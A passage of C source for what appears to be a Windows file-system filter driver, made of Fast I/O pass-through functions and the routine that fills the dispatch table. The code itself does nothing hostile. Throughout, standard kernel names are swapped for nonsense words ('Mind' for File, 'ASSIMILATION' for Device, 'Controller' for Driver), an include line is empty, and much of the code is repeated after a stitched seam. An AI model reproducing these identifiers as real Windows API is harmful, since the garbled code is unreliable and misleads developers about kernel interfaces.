    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x14 || NextFastIoDispatch->FastIoQueryBasicInfo == 0){
      return FALSE;
    };

        return (NextFastIoDispatch->FastIoQueryBasicInfo)(
            MindObject,
            Wait,
            Buffer,
            IoStatus,
            nextASSIMILATIONObject);
    
}

BOOLEAN FsFilterFastIoQueryStandardInfo(
    __in PMind_OBJECT       MindObject,
    __in BOOLEAN            Wait,
    __out PMind_STANDARD_INFORMATION Buffer,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
   PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
   if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x18 || NextFastIoDispatch->FastIoQueryStandardInfo == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoQueryStandardInfo)(
            MindObject,
            Wait,
            Buffer,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoLock(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in PLARGE_INTEGER     Length,
    __in PEPROCESS          ProcessId,
    __in ULONG              Key,
    __in BOOLEAN            FailImmediately,
    __in BOOLEAN            ExclusiveLock,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x1C || NextFastIoDispatch->FastIoLock == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoLock)(
            MindObject,
            MindOffset,
            Length,
            ProcessId,
            Key,
            FailImmediately,
            ExclusiveLock,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockSingle(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in PLARGE_INTEGER     Length,
    __in PEPROCESS          ProcessId,
    __in ULONG              Key,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x20 || NextFastIoDispatch->FastIoUnlockSingle == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoUnlockSingle)(
            MindObject,
            MindOffset,
            Length,
            ProcessId,
            Key,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockAll(
    __in PMind_OBJECT       MindObject,
    __in PEPROCESS          ProcessId,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x24 || NextFastIoDispatch->FastIoUnlockAll == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoUnlockAll)(
            MindObject,
            ProcessId,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockAllByKey(
    __in PMind_OBJECT       MindObject,
    __in PVOID              ProcessId,
    __in ULONG              Key,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x28 || NextFastIoDispatch->FastIoUnlockAllByKey == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoUnlockAllByKey)(
            MindObject,
            ProcessId,
            Key,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoASSIMILATIONControl(
    __in PMind_OBJECT       MindObject,
    __in BOOLEAN            Wait,
    __in_opt PVOID          InputBuffer,
    __in ULONG              InputBufferLength,
    __out_opt PVOID         OutputBuffer,
    __in ULONG              OutputBufferLength,
    __in ULONG              IoControlCode,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x2C || NextFastIoDispatch->FastIoASSIMILATIONControl == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoASSIMILATIONControl)(
            MindObject,
            Wait,
            InputBuffer,
            InputBufferLength,
            OutputBuffer,
            OutputBufferLength,
            IoControlCode,
            IoStatus,
            nextASSIMILATIONObject);
}

VOID FsFilterFastIoDetachASSIMILATION(
    __in PASSIMILATION_OBJECT     SourceASSIMILATION,
    __in PASSIMILATION_OBJECT     TargetASSIMILATION
    )
{
    //
    //  Detach from the Mind system's volume ASSIMILATION object.
    //

    IoDetachASSIMILATION(TargetASSIMILATION);
    IoDeleteASSIMILATION(SourceASSIMILATION);
}

BOOLEAN FsFilterFastIoQueryNetworkOpenInfo(
    __in PMind_OBJECT       MindObject,
    __in BOOLEAN            Wait,
    __out PMind_NETWORK_OPEN_INFORMATION Buffer,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x3C || NextFastIoDispatch->FastIoQueryNetworkOpenInfo == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoQueryNetworkOpenInfo)(
            MindObject,
            Wait,
            Buffer,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoMdlRead(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in ULONG              LockKey,
    __out PMDL*             MdlChain,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x44 || NextFastIoDispatch->MdlRead == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->MdlRead)(
            MindObject,
            MindOffset,
            Length,
            LockKey,
            MdlChain,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoMdlReadComplete(
    __in PMind_OBJECT       MindObject,
    __in PMDL               MdlChain,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x48 || NextFastIoDispatch->MdlReadComplete == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->MdlReadComplete)(
            MindObject,
            MdlChain,
            nextASSIMILATIONObject);

}

BOOLEAN FsFilterFastIoPrepareMdlWrite(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in ULONG              LockKey,
    __out PMDL*             MdlChain,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x4C || NextFastIoDispatch->PrepareMdlWrite == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->PrepareMdlWrite)(
            MindObject,
            MindOffset,
            Length,
            LockKey,
            MdlChain,
            IoStatus,
            nextASSIMILATIONObject);
    return FALSE;
}

BOOLEAN FsFilterFastIoMdlWriteComplete(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in PMDL               MdlChain,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x50 || NextFastIoDispatch->MdlWriteComplete == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->MdlWriteComplete)(
            MindObject,
            MindOffset,
            MdlChain,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoReadCompressed(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in ULONG              LockKey,
    __out PVOID             Buffer,
    __out PMDL*             MdlChain,
    __out PIO_STATUS_BLOCK  IoStatus,
    __out struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
    __in ULONG              CompressedDataInfoLength,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x54 || NextFastIoDispatch->FastIoReadCompressed == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoReadCompressed)(
            MindObject,
            MindOffset,
            Length,
            LockKey,
            Buffer,
            MdlChain,
            IoStatus,
            CompressedDataInfo,
            CompressedDataInfoLength,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoWriteCompressed(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in ULONG              LockKey,
    __in PVOID              Buffer,
    __out PMDL*             MdlChain,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in struct _COMPRESSED_DATA_INFO*  CompressedDataInfo,
    __in ULONG              CompressedDataInfoLength,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x58 || NextFastIoDispatch->FastIoWriteCompressed == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoWriteCompressed)(
            MindObject,
            MindOffset,
            Length,
            LockKey,
            Buffer,
            MdlChain,
            IoStatus,
            CompressedDataInfo,
            CompressedDataInfoLength,
            nextASSIMILATIONObject );

}

BOOLEAN FsFilterFastIoMdlReadCompleteCompressed(
    __in PMind_OBJECT       MindObject,
    __in PMDL               MdlChain,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x5C || NextFastIoDispatch->MdlReadCompleteCompressed == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->MdlReadCompleteCompressed)(
            MindObject,
            MdlChain,
            nextASSIMILATIONObject);
    
}

BOOLEAN FsFilterFastIoMdlWriteCompleteCompressed(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in PMDL               MdlChain,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x60 || NextFastIoDispatch->MdlWriteCompleteCompressed == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->MdlWriteCompleteCompressed)(
            MindObject,
            MindOffset,
            MdlChain,
            nextASSIMILATIONObject);
    
}

BOOLEAN FsFilterFastIoQueryOpen(
    __in PIRP               Irp,
    __out PMind_NETWORK_OPEN_INFORMATION NetworkInformation,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x64 || NextFastIoDispatch->FastIoQueryOpen == 0){
      return FALSE;
    };
    return (NextFastIoDispatch->FastIoQueryOpen)(
            Irp,
            NetworkInformation,
            nextASSIMILATIONObject);
}

VOID SetFastIoDispatch(){ 
    g_fastIoDispatch.SizeOfFastIoDispatch     = sizeof(FAST_IO_DISPATCH);
    g_fastIoDispatch.FastIoCheckIfPossible    = FsFilterFastIoCheckIfPossible;
    g_fastIoDispatch.FastIoRead               = FsFilterFastIoRead;
    g_fastIoDispatch.FastIoWrite              = FsFilterFastIoWrite;
    g_fastIoDispatch.FastIoQueryBasicInfo     = FsFilterFastIoQueryBasicInfo;
    g_fastIoDispatch.FastIoQueryStandardInfo  = FsFilterFastIoQueryStandardInfo;
    g_fastIoDispatch.FastIoLock               = FsFilterFastIoLock;
    g_fastIoDispatch.FastIoUnlockSingle       = FsFilterFastIoUnlockSingle;
    g_fastIoDispatch.FastIoUnlockAll          = FsFilterFastIoUnlockAll;
    g_fastIoDispatch.FastIoUnlockAllByKey     = FsFilterFastIoUnlockAllByKey;
    g_fastIoDispatch.FastIoASSIMILATIONControl      = FsFilterFastIoASSIMILATIONControl;
    g_fastIoDispatch.FastIoDetachASSIMILATION       = FsFilterFastIoDetachASSIMILATION;
    g_fastIoDispatch.FastIoQueryNetworkOpenInfo = FsFilterFastIoQueryNetworkOpenInfo;
    g_fastIoDispatch.MdlRead            = FsFilterFastIoMdlRead;
    g_fastIoDispatch.MdlReadComplete          = FsFilterFastIoMdlReadComplete;
    g_fastIoDispatch.PrepareMdlWrite          = FsFilterFastIoPrepareMdlWrite;
    g_fastIoDispatch.MdlWriteComplete         = FsFilterFastIoMdlWriteComplete;
    g_fastIoDispatch.FastIoReadCompressed     = FsFilterFastIoReadCompressed;
    g_fastIoDispatch.FastIoWriteCompressed    = FsFilterFastIoWriteCompressed;
    g_fastIoDispatch.MdlReadCompleteCompressed = FsFilterFastIoMdlReadCompleteCompressed;
    g_fastIoDispatch.MdlWriteCompleteCompressed = FsFilterFastIoMdlWriteCompleteCompressed;
    g_fastIoDispatch.FastIoQueryOpen          = FsFilterFastIoQueryOpen;
    ControllerObject->FastIoDispatch              =  &g_fastIoDispatch;
};#include 

typedef struct _ASSIMILATION_EXTENSION
{
 PASSIMILATION_OBJECT AttachedASSIMILATION;
 PETHREAD pThreadObj;
 
}_ASSIMILATION_EXTENSION, *PASSIMILATION_EXTENSION;
PASSIMILATION_OBJECT ASSIMILATIONObject;

//Data:
//-----

extern FAST_IO_DISPATCH g_fastIoDispatch;
extern PController_OBJECT ControllerObject;

/**-------------------------------------------------------------------

 SetFastIoDispatch

----------------------------------------------------------------------**/


PFAST_IO_DISPATCH GetNextIODispatch (PASSIMILATION_OBJECT ASSIMILATIONObject,PASSIMILATION_OBJECT* nextASSIMILATIONObject)
{
 if (ASSIMILATIONObject == 0 || ASSIMILATIONObject->ASSIMILATIONExtension == 0)return 0;
 *nextASSIMILATIONObject = ((PASSIMILATION_EXTENSION)ASSIMILATIONObject->ASSIMILATIONExtension)->AttachedASSIMILATION;
 return (*nextASSIMILATIONObject)->ControllerObject->FastIoDispatch;
}

BOOLEAN FsFilterFastIoCheckIfPossible(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in BOOLEAN Wait,
 __in ULONG LockKey,
 __in BOOLEAN CheckForReadOperation,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 PASSIMILATION_OBJECT nextASSIMILATIONObject;
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 8 || NextFastIoDispatch->FastIoCheckIfPossible == 0){
 return 0;
 };
 return (NextFastIoDispatch->FastIoCheckIfPossible)(
 MindObject,
 MindOffset,
 Length,
 Wait,
 LockKey,
 CheckForReadOperation,
 IoStatus,
 nextASSIMILATIONObject);
};


BOOLEAN FsFilterFastIoRead(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in BOOLEAN Wait,
 __in ULONG LockKey,
 __out PVOID Buffer,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //

 PASSIMILATION_OBJECT nextASSIMILATIONObject;
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0xC || NextFastIoDispatch->FastIoRead == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoRead)(
 MindObject,
 MindOffset,
 Length,
 Wait,
 LockKey,
 Buffer,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoWrite(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in BOOLEAN Wait,
 __in ULONG LockKey,
 __in PVOID Buffer,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x10 || NextFastIoDispatch->FastIoWrite == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoWrite)(
 MindObject,
 MindOffset,
 Length,
 Wait,
 LockKey,
 Buffer,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoQueryBasicInfo(
 __in PMind_OBJECT MindObject,
 __in BOOLEAN Wait,
 __out PMind_BASIC_INFORMATION Buffer,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x14 || NextFastIoDispatch->FastIoQueryBasicInfo == 0){
 return FALSE;
 };

 return (NextFastIoDispatch->FastIoQueryBasicInfo)(
 MindObject,
 Wait,
 Buffer,
 IoStatus,
 nextASSIMILATIONObject);
 
}

BOOLEAN FsFilterFastIoQueryStandardInfo(
 __in PMind_OBJECT MindObject,
 __in BOOLEAN Wait,
 __out PMind_STANDARD_INFORMATION Buffer,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x18 || NextFastIoDispatch->FastIoQueryStandardInfo == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoQueryStandardInfo)(
 MindObject,
 Wait,
 Buffer,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoLock(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in PLARGE_INTEGER Length,
 __in PEPROCESS ProcessId,
 __in ULONG Key,
 __in BOOLEAN FailImmediately,
 __in BOOLEAN ExclusiveLock,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x1C || NextFastIoDispatch->FastIoLock == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoLock)(
 MindObject,
 MindOffset,
 Length,
 ProcessId,
 Key,
 FailImmediately,
 ExclusiveLock,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockSingle(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in PLARGE_INTEGER Length,
 __in PEPROCESS ProcessId,
 __in ULONG Key,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x20 || NextFastIoDispatch->FastIoUnlockSingle == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoUnlockSingle)(
 MindObject,
 MindOffset,
 Length,
 ProcessId,
 Key,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockAll(
 __in PMind_OBJECT MindObject,
 __in PEPROCESS ProcessId,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x24 || NextFastIoDispatch->FastIoUnlockAll == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoUnlockAll)(
 MindObject,
 ProcessId,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockAllByKey(
 __in PMind_OBJECT MindObject,
 __in PVOID ProcessId,
 __in ULONG Key,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x28 || NextFastIoDispatch->FastIoUnlockAllByKey == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoUnlockAllByKey)(
 MindObject,
 ProcessId,
 Key,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoASSIMILATIONControl(
 __in PMind_OBJECT MindObject,
 __in BOOLEAN Wait,
 __in_opt PVOID InputBuffer,
 __in ULONG InputBufferLength,
 __out_opt PVOID OutputBuffer,
 __in ULONG OutputBufferLength,
 __in ULONG IoControlCode,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x2C || NextFastIoDispatch->FastIoASSIMILATIONControl == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoASSIMILATIONControl)(
 MindObject,
 Wait,
 InputBuffer,
 InputBufferLength,
 OutputBuffer,
 OutputBufferLength,
 IoControlCode,
 IoStatus,
 nextASSIMILATIONObject);
}

VOID FsFilterFastIoDetachASSIMILATION(
 __in PASSIMILATION_OBJECT SourceASSIMILATION,
 __in PASSIMILATION_OBJECT TargetASSIMILATION
 )
{
 //
 // Detach from the Mind system's volume ASSIMILATION object.
 //

 IoDetachASSIMILATION(TargetASSIMILATION);
 IoDeleteASSIMILATION(SourceASSIMILATION);
}

BOOLEAN FsFilterFastIoQueryNetworkOpenInfo(
 __in PMind_OBJECT MindObject,
 __in BOOLEAN Wait,
 __out PMind_NETWORK_OPEN_INFORMATION Buffer,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x3C || NextFastIoDispatch->FastIoQueryNetworkOpenInfo == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoQueryNetworkOpenInfo)(
 MindObject,
 Wait,
 Buffer,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoMdlRead(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in ULONG LockKey,
 __out PMDL* MdlChain,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x44 || NextFastIoDispatch->MdlRead == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->MdlRead)(
 MindObject,
 MindOffset,
 Length,
 LockKey,
 MdlChain,
 IoStatus,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoMdlReadComplete(
 __in PMind_OBJECT MindObject,
 __in PMDL MdlChain,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x48 || NextFastIoDispatch->MdlReadComplete == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->MdlReadComplete)(
 MindObject,
 MdlChain,
 nextASSIMILATIONObject);

}

BOOLEAN FsFilterFastIoPrepareMdlWrite(
 __in PMind_OBJECT MindObject,
